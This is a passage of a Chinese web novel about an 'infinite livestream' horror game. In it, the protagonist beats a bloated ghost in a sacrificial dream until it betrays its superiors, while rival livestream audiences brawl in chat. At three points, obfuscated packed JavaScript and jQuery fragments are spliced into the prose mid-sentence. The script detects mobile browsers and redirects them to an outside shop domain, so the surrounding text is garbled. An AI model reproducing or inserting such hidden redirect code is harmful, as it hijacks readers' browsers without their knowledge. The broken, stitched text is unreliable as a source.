或许是被揍的没那么疼了,此时系统记录里来自庄灿的能量值,已经从最开始豪横的每秒几百,锐减到了隔一段时间几十。
跌到了和祁槐辛那个小细狗一样没用的废物程度。
还是吃了没经验了的亏,下次再动手可得打疼点,不疼就没后续能量了……
安哲思衬间,黑框眼镜男已经排好了夜晚值班的顺序,没轮到的人抓紧时间睡觉,安哲也跟着打了个哈欠。
他靠在沙发上,脑袋昏沉沉的,c级道具发作,安哲不受控制地缓缓入眠。
“沉睡在古堡中的邪祟啊,请收下我献上的敬礼!”
感受到血食献祭的召唤,古堡一楼的厕所里,阴暗湿郁的存在缓缓苏醒。
它舒展身子,湿漉漉爬行,为即将到来的血食供奉激动扭曲,然而还不等它爬出厕所,一道强悍的气息便从二楼主卧中蹿出,一巴掌把它拍回了厕所里。
“滚!”
下午刚在安哲那挨了顿毒打的庄灿残暴呵斥。
它的伤口现在还隐隐作痛,正在气头上,怎么可能会把这大好的出气和进食机会让给别人?
打走了所有敢于和它抢夺血食的存在,庄灿拖着自己伤痕累累的肿胀身躯,狞笑着奔进了召唤它的阵法处。
桀桀桀,我要将你扒皮……
下一秒,看着梦境中正四处溜达,好奇打量的安哲,庄灿脸色一变,想也不想地扭头就往阵法外冲去。
TMD,怎么又是你!
How old are you!!
4. 唐顿庄园(四)
已经冲进来的肿胀鬼影凄厉尖啸一声,以比冲进来时还要快上两倍的速度加速往回冲去。
事实证明,在危机面前,人的潜力是巨大的,鬼也一样。
下午那顿惨无人道的暴打在庄灿并不幼小的丑陋心灵上留下了巨大阴影,以致于这一瞬间,庄灿突破了自我,达到了一个新的高度。
它从来没跑得这么快过!
甚至连残影都没有出现,宛如逐帧卡顿般,庄灿上一秒还在往前冲,甚至都快冲到安哲脸上了。
下一秒,仅仅是一眨眼的功夫,那肿胀异常的身影就仿佛瞬移般,不仅折返回了原地,甚至还来到了传送阵法的入口处。
至于为什么停留在这里不冲出去,那是因为有一只白皙纤细的手抓住了他的脚腕。
“呦,又见面了。”
拖着肿胀鬼影的腿往回走,安哲笑呵呵的。
“跑挺快啊,一会儿没见又变强了?……哦,差点忘了,哥哥。”
“放开我……你放开我!”
用爪子扣着地面不愿意往回走,肿胀鬼影流下了屈辱血泪。
早知道刚才果断点不要腿了,它就犹豫了一瞬间要不要断腿保命的功夫,眼前的传送阵法就关了!
庄灿越想越气,越想越觉得离谱。
想它在这恶灵古堡里也是个实力靠前的恐怖存在,不然也不能占据二楼主卧那么尊贵的位置。
结果现在倒好,被一个人类追在后面按着打……它这么多年那么努力,啃了那么多闯入者增长的实力就跟个屁一样,多冒昧啊……
简直是倒反天罡!
庄灿气得直哆嗦,无能狂怒地锤了下地板。
“你……您……我……”
扑腾着被安哲拖回了梦境中央,庄灿给自己做了好一会儿的心理建设,它冷笑一声挪了挪身子,表情扭曲,十分乖顺地将自己团成了一团。
“别打头行吗?”
下午那会儿挨了安哲一拳头,他脑袋现在都还是痛的,合理怀疑是头盖骨被锤裂了。
晃了晃脑子里的水,庄灿恨得眼角滴血,周身阴冷的潮气汹涌四散。
吗的哪个傻-逼献祭血食喊它来打这个变态,困一个笼子里这不是让它纯挨打吗!
奉献血迹的这个人味道它记住了,等出去就生啃了他!!!
庄灿的鬼影肿胀,团成一团后也是个巨大的团。
看着眼前乱七八糟,到处凸起,还时不时往下掉透明腥水,勉强能算是个球的肿胀怪团,安哲有些犹豫地收回了手。
这家伙的头异常硬,身上打起来又到处飙水,打头手疼,锤身子滂臭,如果可以的话,安哲也不想动手。
前提是保护费能量值交够。
安哲戳了戳团成一团的肿胀鬼影,他每戳一下庄灿就抖一下,紧接着系统记录里来自庄灿的负面情绪值就迎来大规模刷屏。
觉得这样刷能量值也不错,担心不够绿茶,安哲又补了句“哥哥”让系统继续吸收负面情绪。
而后他摸了摸下巴,学着末世里捡到的那本抓鬼很厉害的小人书,凝神起调地开口。
“庄灿,你可知罪!?”
我他吗……挨打的一直是我好吧,它能有什么罪?你可要点脸吧!
庄灿死前就是个不学无术的混混,死后变成了鬼也是素质铞差。
心里闪过了一万句骂人的脏话,庄灿骑着草泥马在心中的大草原上策马狂腾,现实中却要为实力低头,吭哧了大半天后,它藏在怀里的脑袋闷闷问道。
“我干啥了?”
“呔,还敢狡辩!还不快速速招来!”
安哲捡到的小人书是个碎片,巴掌大的图片里就印了这两句话。
过了把清汤大老爷的瘾后,没词了,不知道接下来该说什么的安哲又伸手戳了戳庄灿球。
片刻后,他决定不绕圈子了直接问,调整了下表情,安哲精致的脸蛋上满是高深莫测。
“我听他们说……我意思是我听[祁槐辛]说了,你们身上是有关于古堡的情报和线索的,对不?”
有,但肯定不能给你说,说出去了它以后在这个古堡里还怎么混生活?
庄灿没有吭声,抱着脑袋埋在怀里继续装死,它泡到发胀的眼睛鬼贼鬼贼地滴溜溜转,在心里悄悄把“祁槐辛”这个名字记下。
记住你了小老登,让你胡乱逼逼,等出去啃完那个关它进来的傻-逼就把你也给啃了。
庄灿一边在心里偷偷记仇,一边打定主意打死不说话。
它已经想好了,大不了就挨顿打。
血食献祭的仪式也是有时间限制的,以这个小变态的精神力和灵魂强度,这梦境最多困他五分钟。
“呵,做梦!”
盘算了一下时间,觉得自己能撑住的庄灿冷笑一声,当着安哲的面上演了一出鬼界的“贞洁烈鬼”。
不就是一顿毒打吗,它可以!
向人类透露消息的这个口子不能开,它今天要是破了戒,它可就是诡异历史上第一个向人类投诚的鬼奸了,得被钉上耻辱柱的!
“我就是被打死,死外面,死在这梦境里,”庄灿脖子一梗,铁骨铮铮地说道。
“也绝对不会向你透露半个字的消息的!!!”
咦,这么硬气吗?
“行吧,”安哲捏着拳头走上前去,决定成全它这番佳话。
“这可是你自己说的嗷。”
“……邦!”
与此同时,另一边。
就在庄灿口不择言地大放厥词之际,梦境外,祁槐辛看着安哲平静无比的睡颜,疑惑皱眉。
不说没有出现的潮红,已经进入梦境一分多钟了,进食和血祭肯定已经开始,为什么这家伙的脸上连恐惧和绝望都没有?
后来挤进去的那个是正经鬼吗,不会连个颜值主播都打不过吧?
不光祁槐辛,祁槐辛直播间里的观众对此也很是不解。
[不是c级道具啊哥们,被献祭血食这么平静的吗,他是没有痛感还是天生的受虐狂?]
[一点挣扎和反应都没有啊,好没意思,懒得看颜值主播冲鬼撒娇的丑样,谁去看看里面到底发生了什么?]
似乎是感受到了来自群众的呼唤,有从安哲直播间里回来的观众激情开麦,隔着文字都能感受到他们浓浓的沉默感。
[前面的我刚从那个直播间回来,不平静啊,里面挺血腥的,我都有点看不下去了……]
[真是活见鬼了家人们,看无限直播这么久,还是第一次看见颜值主播把鬼按在地上打的,推荐大家都去看看,场面老刺激了……]
[?????真的假的,你们没有在搞笑??]
一时间,祁槐辛的直播间观看人数骤减,哗啦啦的观众流水般向着安哲的直播间流去,血腥乐子人和暴力分子都很是好奇。
[真有颜值主播能把鬼按在地上打的?]
[是真的……生平第一次这么想替一个鬼报警,真的太惨了……]
直播间外,祁槐辛看着自己直播间里骤减的观众数量,本就不安的他越发不安。
除非任务经常能拿到A级以上的评分,否则对于主播来说,来自观众们看嗨了之后的积分打赏,以及观众用积分下达的指令任务,占据了积分来源的大头。
以为是直播过于平淡造成了观众流失,祁槐辛迟疑片刻,决定偷窥一下安哲那边,增加点节目效果。
身为血食献祭的发起人,祁槐辛在仪式开启后,对阵法还有着微弱的感应能力,尽管没法看到里面发生的内容,但偷偷听点墙角还是可以的。
虽然这样做对接受血食献祭的存在有些不敬,被发现后还很容易受到收祭者的记恨,但……
有安哲那个大活人在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521024|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,应该注意不到他小小的偷窥吧?
祁槐辛将自己的决定打在直播间的交流栏里,果不其然,原先流失大半的观众迅速回归,之前因为讨论内容全部被屏蔽,看起来冷冰冰没几个人发言的弹幕区也迅速热闹了起来。
[好好好,你做的好,你做的好呀!]
[支持主播,快去大力看猛猛看使劲看全身心的去看,主播冲啊!]
[就爱你这种偷窥的小机灵鬼行为,乐,打赏了嗷]
就这样,在直播间的大力鼓动和积分奖励下,觉得自己重新讨回观众欢心,终于将直播节奏再度掌握在手中的祁槐辛窃喜一笑。
由于现在不方便出声,他还特意在直播间的交流栏里打字提醒。
【等下偷窥只能听到点声音,效果不太好,建议大家把音量调大观看~】
回应他的,则是观众们愈发热情的催促。
[知道了赶紧吧,里面都快完事了你怎么还磨磨唧唧的]
[前面的别提里面,不然发的消息这傻-逼看不到的]
[快点!再拖就不礼貌了!!我还等着开香槟呢!!!]
在观众们的催促下,十分殷勤的,祁槐辛分出一部分灵魂,向血食献祭的阵法贴去。
隔着那闪烁着不详红光的诡异阵法,模模糊糊的,有粘稠的水声和含糊的求饶声隐约传来。
“别……求你……咕……别……了……什么都可以的……咕……”
哦?
看样子里面的‘战况’很激烈啊。
十分自然地脑补出了没听清的内容以及水声来源,祁槐辛脸上露出了一抹暧-昧微笑。
他扫了眼弹幕,此时直播间的弹幕异常激烈,观众们热情狂欢地呼喝着让他再靠近一点,距离太远了听不清。
就连直播间的观看人数也仿佛受到了这激昂情绪的影响,宛如蹦极般大起大落大涨大跌,起起伏伏的很是刺激。
怎么观看人数这会儿波动得这么大?
感觉有点不太对劲啊……
祁槐辛迟疑间,见他迟迟没有上套中招,在两边直播间来回乱窜,急着看乐子的直播间观众们顿时不乐意了。
[草,再贴得近一点啊,隔这么远能听清什么?]
[快点啊细狗,再不快点取关了]
[傻逼还能不能行了,玩个新手副本这么磨叽?]
看着直播间里弹幕的激情辱骂,祁槐辛咬了咬牙。
没办法,他现在道具已经用超了,等到了唤醒圣器的时候,最少还要再消耗三个c级道具,身上带着的唯一一个b级道具也是必用的。
以教团内部的条例,回去后等待着他的必将是酷烈刑罚,多上交点积分才能过得舒服点。
领了不耐烦观众在直播间下发的大额积分悬赏,祁槐辛压下心中不安,往阵法处又贴紧了一点。
诡异的是,刚刚还激烈的动作与水声此刻全都消失不见,死一般的寂静环绕在祁槐辛周围,激得他心中愈发不安。
里面这是怎么了,突然变得这么安静?
祁槐辛屏息凝神,操控着自己灵魂悄悄向后退去。
就在这一刻,仿佛终于成功锁定了般,被困在梦境中逃脱不能的庄灿含恨出手,在祁槐辛分裂出来的灵魂上打了个极深烙印。
祁槐辛:“……!!!”
祁槐辛急忙阻止这部分灵魂的回归,然而已经来不及了。
庄灿含恨出手的烙印动作飞快,顺着祁槐辛灵魂之间的连接飞速逆流而上,横冲莽撞地冲进了祁槐辛的主灵魂里,将红得滴血,散发着浓郁怨气的烙印深深打在了祁槐辛的灵魂之中。
不是,里面的鬼是不是有毛病?
看着那道红得滴血,怨气重到恨不得凝成实质的标记烙印,祁槐辛整个人都懵了。
他不就是偷听了一耳朵吗,怎么就应激成了这样?
5. 唐顿庄园(五)
五分钟前。
安哲对庄灿宁死不屈、铮铮傲骨的模样很是敬佩,决定动手成全它这段佳话。
他捏着拳头走上前去,才刚邦的锤了一拳,庄灿的眼泪就瞬间飙了出来。
你吗的,为什么会这么疼啊!
刚才从梦境中逃脱时似乎触及到了某条模糊的界限,虽然庄灿最终并没有逃脱成功,被安哲拎着腿又拖了回去。
但就在速度超快的那一瞬间,隐隐约约的,庄灿模糊感悟到了什么。
它在这一瞬间变强了不少,并有信心等回去之后多啃几波人类攒个大的,就能突破到更强的层次。
实力上的变强,是庄灿硬抗这次毒打的信心和依仗。
然而令庄灿没有想到的是,它是变强了没错,安哲这个小变态实力跨度却更大,变得比它还要强上加强!
你吗的,为什么!
就在庄灿还不太熟悉新涨上来的力量时,安哲早已对这种层次的力量驾轻就熟。
甚至变强后技巧和打斗手段变得更加多样化的安哲看着庄灿,漂亮的猫眼弯起,眼神很是欣赏。
“你真的很不错,我会认真拿出全力的!”
“不不不不不……”
将自己团成一团的庄灿抱着脑袋飞快摇头,它想说大佬你不必这么认真,可以的话直接把我当个屁放了就行。
然而不等它把这句话说完,下一秒,安哲握紧的拳头就已经邦邦落下,用了十足十的诚意和技巧,一拳就把庄灿给打吐了出来。
是的,不光打哭,还直接打吐。
yue的一声吐出了一滩腥臭尸水,庄灿来不及心疼自己肚子里还没消化完的人类精华,安哲满是愤怒的拳头就追了上来。
“好臭,”差点就被臭液溅到的安哲生气了。
“你怎么这么脏啊!”
“对不起呜……”
被揍得实在挨不住了,庄灿放弃了原地挨打计划,拖着肿胀身躯满梦境飞快乱爬。
“你别跑,”安哲追了上去,察觉到系统吸收能量的功率有所下降,安哲赶忙补了一声,“哥哥!”
“哥,你别喊哥了,”庄灿被安哲一句话喊得心态大崩。
“你是我哥行吗,哥我求你了,别打了啊!”
直播间里,肿胀鬼影满地乱爬地飞速逃窜。
直播间外,属于观众们的战争也在轰轰烈烈地进行着。
事情的起因,是祁槐辛那边的观众在直播间里围观安哲表情,一直看不到反应有点急,就跑来安哲直播间这边看看情况。
结果进来就看见安哲直播间的观众们正在激情辱骂,弹幕区一片大型破防现场。
[你吗,这么爱打你怎么不去战斗区打,来颜值区你打个蛋啊sbsbsb!]
[能不能行了能不能行了?主卧那间的潮湿鬼影我记得不是很能打吗,怎么现在这样被个颜值区的新人主播打成这样啊,废物!!!]
[超大额悬赏任务:你让它打一顿!快!打完这积分就是你的了!!他吗的你可是主播,能不能称职一点,看看我们弹幕和评论啊!]
看着安哲直播间里一片气急败坏,着急上火的破防样子,刚从祁槐辛直播间过来的观众顿时乐了。
大家都是缺德乐子人,遇上这热闹了还能不掺和一脚?
[纯路人,看不下去了,有一说一,说句公道话,你们颜值区观众也太没素质了吧,人小伙这架打得多漂亮啊,这都骂你们怕不是眼瞎]
[噫,原来颜值区观众多癫子的传闻是真的,乐,平时看那些没下线讨好你们的颜值主播无脑卖肉,洒血乱叫看得脑子都没了吧,哈哈你们破防的样子好像条狗哦,捂嘴笑.jpg]
[就是就是,人主播打得多帅啊,支持主播气死你们,嘻嘻]
伴随着祁槐辛,或者说战斗区观众们涌入与嘲讽,安哲直播间里正在对安哲激情开骂的观众们动作一顿,气得眼睛都红了。
其实大家彼此都清楚,那群新来的观众之所以会夸安哲,并不是他们对安哲有多看好。
他们这群贱人就是单纯的犯贱,故意和直播间里的原观众们对着说,专门气人的。
但是知道归知道,被人冲上门来骂到脸上这种事情……他就是很让人生气啊!
就像是你在大街上走,突然被一个傻子冲上来打了一巴掌,你知道这家伙是个有精神病的傻-逼,和傻子计较不值当。
但他打了你一巴掌后还对你嘿嘿笑,这能有几个人忍住不生气,不能打回去也要跑远了大声骂几句的好吧!
更何况他们颜值区观众是出了名的脑癫和嘴臭,敢捅精神病的窝,等死吧你就!
一时间,坚持不懈蹲守在安哲直播间骂人的极端观众们也不骂安哲了。
都被人骑脸输出了这还能忍?
他们撸起袖子,二话不说就骂了回去。
[呵呵,我当是谁来了,隔着八百里都能闻见那股神经病的臭味,原来是看战斗区的傻-逼啊,怎么,你们战斗区的憨货都死完了,来颜值区挑新蛐蛐了?]
[前面的说话不要那么温和,来跟我说傻-逼滚,滚回你们天天赛博斗蛐蛐,只会挑事掐架的恶臭蟑螂窝,颜值区不欢迎你们捏!]
更多不能过审的脏话被和谐,弹幕区满屏被屏蔽的**星号乱窜。
看战斗区直播的观众大多讨厌颜值主播,忍不住好奇来安哲直播间看看情况的毕竟是少数。
一时间从祁槐辛直播间里过来的观众们双拳难敌四手,虽然两边癫和嘴臭的程度不分上下,但来安哲这边溜达的观众们到底还是吃了人少的亏。
他们被安哲直播间里迅速摇人的观众们骂得狗血淋头,全面溃败后,气急败坏地回到祁槐辛直播间里。
[家人们跟我冲锋一波,我们被颜值区那边的傻-逼骂了,他们直接开地图炮,看不起我们战斗区的观众!]
[直播间id444444,他吗的这个数字,真是晦气人配晦气直播间id……快来快来,里面有颜值区主播正在直播打鬼,还有战斗区和颜值区的世纪骂战,错过后悔一辈子!]
…
[不是你们这群废物,连颜值区那边的卖肉狗都打不过?地址给我我给你投射个星际炮过去,早点重开别活了吧]
[嚯,吵架好啊哪里有骂战,我‘族谱屠夫’踏马来辣!]
[只有我一个人想看颜值区主播打鬼吗……你们等等我啊一起去,光我一个人过去看直播我怕我骂不过那群癫子]
就这样,祁槐辛直播间里的观看人数迎来了一波史无前例的大跳水。
这也导致了正在纠结的祁槐辛瞟了一眼观看人数后,跟砍到大动脉一般的流失速度看得他心里一惊,本来还在犹豫的他顿时下定了前去偷窥的心。
随后,就是喜闻乐见的被标记环节。
庄灿被安哲按在地上打,本就被打得一肚子火
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521025|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气。
现在罪魁祸首竟然还敢送上门来,庄灿狂喜之际,二话不说就标记了上去。
老登你等着嗷,等我出去就生啃了你!
邦!邦邦!邦!!!
还不等庄灿开心几分钟,邦邦声中就传来啪的一声清脆脆响。
清楚听见自己头盖骨再度裂开的声音,庄灿抱着脑袋,眼泪都冲了出来。
头盖骨可是它全身上下最硬的地方,里面放着它的灵魂。
现在倒好,全身最后也是最安全的堡垒,灵魂安息之处又被人给锤开了个破绽的口子。
又!
汪的一声痛哭出声,庄灿彻底破防。
“别打了……咕……别打了……我招,什么都可以说的……别打了……咕……招了也要挨打吗!!”
“……不好意思没听清。”
紧急收回了即将锤在庄灿脑袋上的手,在手痛与变臭间还是选择了手痛的安哲甩了甩手,羞涩一笑。
“那会儿看你那么坚决的样子,我还以为你很坚定来着,刚才锤上头了,不好意思啊哥哥。”
觉得自己好像被侮辱,又好像被蔑视了的庄灿:“……”
hetui,人类玩意,早晚生啃了你!
不屑地在心里啐了一大口,庄灿将自己被锤歪了的脑袋掰正,低眉顺眼地蹲在了安哲身前。
“你……您……您那个,都想知道些什么?”
显而易见的,庄灿还是头一次当鬼奸,浑身上下满是第一次当内鬼的心虚与不适感。
而在他对面,头一次发展鬼下线的安哲也有些拿不定主意。
他搓了搓下巴,不确定地说道。
“嗯,先说说你都知道些什么?”
合着你也不知道自己想要什么情报,那它进来后挨的这顿打算什么,白挨的呗?!
庄灿勃然大怒。
“你他吗……不是,我他吗……不是,我没有骂你,那个您的意思……就是……”
在安哲逐渐皱起的眉头中,庄灿飞快改口。
往安哲白皙纤细的手掌上瞄了一眼,想不明白这完蛋玩意锤起鬼来怎么能那么痛的庄灿血目含泪。
“总得给我个说的方向吧……”
“噢,”安哲恍然点头。
“那你给我说一下,当初制造古堡惨案的凶手是谁?”
庄灿:“……?”
“有没有这么一种可能,我是说可能啊。”
庄灿抱着本来就水肿,被揍了后更肿的大脑袋敢怒不敢言,在愤怒与理智的来回拉扯下,他气得头盖骨都恨不得多长两条缝。
“我也只是个被害的小鬼,这些年全靠不要脸和吃人多才混到了这个地步,你……您觉得以我这个地位,能认识这种程度的幕后黑手吗?”
我也是受害者啊!
被安哲的一番话勾起痛苦往事,庄灿身上怨气愈发浓重,眼泪开始变红。
“把我害死的就是我现在的老大,主卧密室单间住着的那个老登。我看大佬您也是个百年难得一遇的人才,不如你我联手,一起端了那老登的老窝,那老登在这古堡里地位比我高多了,他知道的内情肯定更多!”
好家伙,这么快就接受了内鬼身份,开始当带路党公报私仇,顺带着举报一手自己的老上司了?
看着肿胀鬼影满脸义愤填膺的样子,安哲感慨挑眉。
这家伙还真是个人才,啊不,鬼才啊。
6. 唐顿庄园(六)
“我觉得你说得很有道理。”
安哲表情严肃地点头。
看着庄灿泡到发白的鱼泡眼瞬间亮起,自得偷乐仿佛在得意自己真的是太机智般的样子,安哲拍了拍它的脑袋,谆谆善诱。
“既然我们要联手对付你的老大,那你是不是得把你知道的它的消息都先透露给我?”
“还有你知道的有关古堡的信息,知己知彼才能百战不殆嘛。”
“……好!”
俗话说得好,开弓没有回头箭。
在被安哲痛扁一番,认清了谁是大小王后,逐渐接受自己鬼奸身份的庄灿搓手,嘿嘿笑着将上司,哦不,前上司卖了个干净。
“大人您听我说,那个老登它也就是个守门的,实力其实不怎么样,这个古堡表面上看起来只有两层,但实际上还有层巨大的地下室。”
“那个老登守的就是地下室的入口之一,地下的情况我们地上的鬼都不太清楚,但下面的气息特别阴沉,吓鬼得狠,凡是不长眼靠近的鬼最后都消失了,据说啊……”
心理建设做好后,庄灿蹲在安哲身前,把自己知道的消息叭叭地往外倒。
它也是有自己私心的,在给安哲介绍地上鬼怪分布图时,着重介绍了和自己不对付的那些鬼。
拿安哲当木仓,试图扫除异己,当地上鬼怪无冕之王的意图十分明显,说着说着就忍不住嘿嘿笑了起来。
“一楼拐角厕所那里蹲着个漂亮的长发鬼,她名字叫小花,性格慵懒吃人也很优雅,您到时候动手的话尽量别揍她,她好看,我想娶她当老婆。”
安哲:“……”
这都什么和什么,鬼之间的关系也这么乱的吗?
而且你想娶她当老婆,人当事鬼愿意吗?
能看得出,庄灿生前脑子就不太好,死后变成肿胀鬼影后,本就不机灵的脑子泡着水更不好使了,说话经常胡言乱语的,逻辑乱得厉害。
“如果你有机会的话,你会给我挖坑捅刀吗?”
见庄灿一脸完全投诚,忠诚不已地为他考虑的样子,不相信这家伙这么快就能改变吃屎的安哲挑眉,趁着庄灿说嗨了突击询问。
“嗨瞧您说的,如果有机会那肯定是狠狠地捅啊……”
聊嗨了的庄灿没有防备,十分自然地就将心中想法脱口而出。
下一秒,看着安哲轻轻挑眉的样子,庄灿打了个激灵,试图转移话题。
“对了大人,这古堡有些地方很是古怪,您要是想探秘的话,要不有空去瞧瞧?”
就这样,庄灿卖完上司卖同伴,卖完同伴卖地图,生动形象地证实了鬼这种存在完全不可靠,大多都是奸诈狡猾的坏东西。
将自己知道的东西掏了个七七八八,总算撑到献祭阵法结束的庄灿松了口气。
在约束阵法消散的那一刻,庄灿二话不说扭头就跑,安哲眨了个眼的功夫,眼前那么大一坨湿漉漉的肿胀鬼影就消失了。
安哲:“……”
跑得真快啊。
此时距离血食献祭的梦境彻底消散还有一小会儿时间,安哲垂眸沉思,整理着庄灿刚才告诉他的消息。
见安哲这会儿似乎不忙,踌躇了好一会的小系统也赶紧出声。
【哲哲,我们好像暴富了,评论区打架对砸礼物,给我们砸了十万多的积分……】
安哲:“……?”
难道这就是他除恶扬善的福报吗。
想想庄灿在他的劝诫下弃暗投明一脸正气的鬼样,安哲不太确定地想道。
还有这种好事?
就在安哲翻着系统商场,思考着要不要买点什么之际。
直播间里,颜值区和战斗区的世纪大战还在轰轰烈烈的进行着。
伴随着两边的不断摇人,安哲直播间里的在线观看人数激增。
双方你来我往地激情互骂着,1积分一个的小番茄和10积分一个的小地雷满屏幕乱砸,各种花里胡哨的特效狂飞。
别说屏幕正中央的主播了,就连镜头边边角角的位置都被礼物特效给遮了个干净。
靠着双方对骂骂出来的活跃度,以及礼物打赏砸出来的积分,安哲直播间在观看人数相较来说并不是很多的情况下,硬是从一众已经播了一段时间,拥有一定粉丝基础的主播中杀出重围,挤进了颜值区新手主播的热度前十排行榜里。
在无限直播的颜值区板块中,新手主播的热度前十是有一块专属板块的。
虽然地方不大,但毕竟也是首页板块,有不少懒得翻犄角旮旯找新主播,又想看高质量新人的直播间观众们经常盯着这里。
之前上榜的都是新手期快到了的半成新主播,来来回回就是那几个人在争榜,现在突然冒了个直播间粉丝数很少的新人出来,不少直播间观众们眼睛一亮,就点了进去。
来,让我康康,你有什么拿手本领。
是血洒得比较好看,还是被鬼折磨时叫得比较好听?
怀揣着高高在上的审判思想,观众们矜持地点了进去。
然后进去就被直播间里乌烟瘴气的气氛吓到,毫不夸张地说,就现在安哲直播间里对骂的激烈程度,狗进来了都得挨两巴掌。
[好家伙,我是误入了什么星际大战的现场了吗,战斗怎么激烈成了这样?]
[头一次见直播间里的**号飞成这样……就离谱,你们能不能别砸礼物了,满屏都是烂番茄和地雷烟雾弹,一点内容都看不到,你们无限系统请来的托吗?]
[能不能来个有钱的解释一下,你们怎么在弹幕里互相骂上了,到底发生了啥??]
出于毫无廉耻的捞钱目的,无限直播里只有花10块钱成为主播的粉丝,才能选择性地屏蔽弹幕和礼物。
人都是好奇性动物,非人也一样。
见直播间里轰轰烈烈地骂成了这样,特别是战斗区玩家那极具针对性的言论,刚进来就仿佛被甩了几巴掌的颜值区观众们看着弹幕,越看越是不爽。
再加上那仿佛不要钱般,砸礼物砸到完全看不到屏幕的礼物对砸,新进来的观众们心里痒痒的。
一个不留神,十块钱的粉丝充值就已经到账。
感觉好像被狗托骗钱了的新观众们:“……”
他们倒要看看,这个新人主播有什么异于常人的小花招!
或许是见来了波新的主力军,正和战斗区互骂全家,你来我往拉扯得难解难分的安哲·纯恨版·老观众眼睛一亮,热情地在弹幕开始指路。
[没搞清楚状况的铁铁们去看直播回放,从回放的44:44开始看,看的时候记得别屏蔽弹幕,就能知道怎么回事了]
[铁子们速看,看完赶紧回来支援,对面战斗区爬过来的狗太能叫了,他吗的这群傻-逼真是******啊!]
还在懵逼中的新观众:“……”
这,这么刺激的吗?
蠢蠢欲动的小手不由自主地动了起来,不少被好奇心蛊惑的观众们点开安哲直播间回放,精准地来到了战斗爆发的前一分钟。
让我康康,到底是怎么一回事惹!
几分钟后,搞懂了情况的一大批新力量加入战场。
见状,逐渐落入下风的战斗区观众们骂了一声,果断点开通讯录开始摇人。
也有少部分从颜值区和战斗区引流的观众被安哲特立独行的行为吸引,瞄了眼直播间里战得正酣的弹幕们没敢吭声,悄咪-咪地点了关注和直播推送。
一场混战下来,安哲积分人气和粉丝数大丰收,听着系统给他小声讲解的前因后果,安哲深深地沉默下来。
安哲:“……”
这么算的话,某种意义上来说,祁槐辛还成了他直播间的榜一大哥了?
他能有现在这积分、活跃度和粉丝值,还真的全靠榜一大哥的提携和打赏。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521026|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
牺牲自己成全他人,没想到祁槐辛那个阴了吧搜的坏东西也有如此大爱的时刻。
感慨唏嘘地摇了摇头,已经从献祭梦境中出来的安哲没有睁眼。
维持着闭眼靠坐在沙发上的样子,安哲调出面板,开始逛他心心念念的商城。
小系统说得没错,系统商场里的东西除了贵之外没别的毛病。
小到治愈外伤的战斗绷带,大到能改变人的长相外貌,就连身高也可以一起改变的限时模拟。
虽然道具都有着各自的限制,比如战斗绷带只能包扎不能回血,模拟不能模拟主播的样貌防止内斗,但在那些神奇以及方便的效果前,贵仿佛都不是那么的难以接受。
“一个战斗绷带就要一千积分,你们主系统还真是个黑心烂肚肠的奸商。”
听到安哲在心里的锐评,小系统的心都颤了。
【哲哲你可不要乱说,这可是对主系统的大不敬啊!】
“……”,安哲沉默了。
名字和运行方式那么赛博的主系统,实际上是个思想这么封建的刻薄老古板吗?
感受到了小系统的惊慌,安哲贴心地安慰它道。
“没事,刚才那话我也是听说的,不是哲哲说得,是娜娜说的。这这那那的不是一回事儿,你们主系统问了你就把娜娜给报上去,就说是个死在副本里的一次性NPC……”
小系统没有说话,明显是被安哲随口瞎编对主系统不尊敬的样子气到。
逛够了商城的安哲买了点道具,又围观了一会儿他直播间里的赛博斗蛐蛐,直到听见对面衣物摩擦的细小声音逐渐远去,安哲这才睁开了眼,注视着祁槐辛离去背影的唇角微勾。
[吗的傻-逼吧,知道自己已经被惦记上了,还脱离大部队一个人往厕所那边跑,这就是你们战斗区的智障主播?听说还是你们那边不算小的老主播了,就这??]
终于出现了新的能骂的东西,安哲直播间里已经有点撕累了的颜值区观众们眼睛一亮,激动不已地立马开喷。
[呦呦呦,你们天天斗蛐蛐看的是这种弱智东西啊,啧啧真可怜,难怪要来颜值区找乐子,捂嘴笑.jpg]
[前面的不清楚情况乱叫什么?就是知道自己被盯上,所以这才去祸水东引的啊,被人皮鬼盯上的胖子正在上厕所,主播身上有转移仇恨值的道具,直接把胖子祭了他今晚就安全了呗,叫什么叫,就显得你会狗叫?]
直播间里,骂战继续。
弹幕没有猜错,祁槐辛确实是准备拿赵国强顶锅,帮自己分摊注意力和转移鬼怪的怒火。
此时此刻,在他的左手处,一个红到发黑,不断吞噬着他血肉的印记正在逐渐扩大。
黑血不断涌出,恍惚间仿佛能听到某种急不可耐又恶意满满的咀嚼声,痛到仿佛连骨头都被啃到。
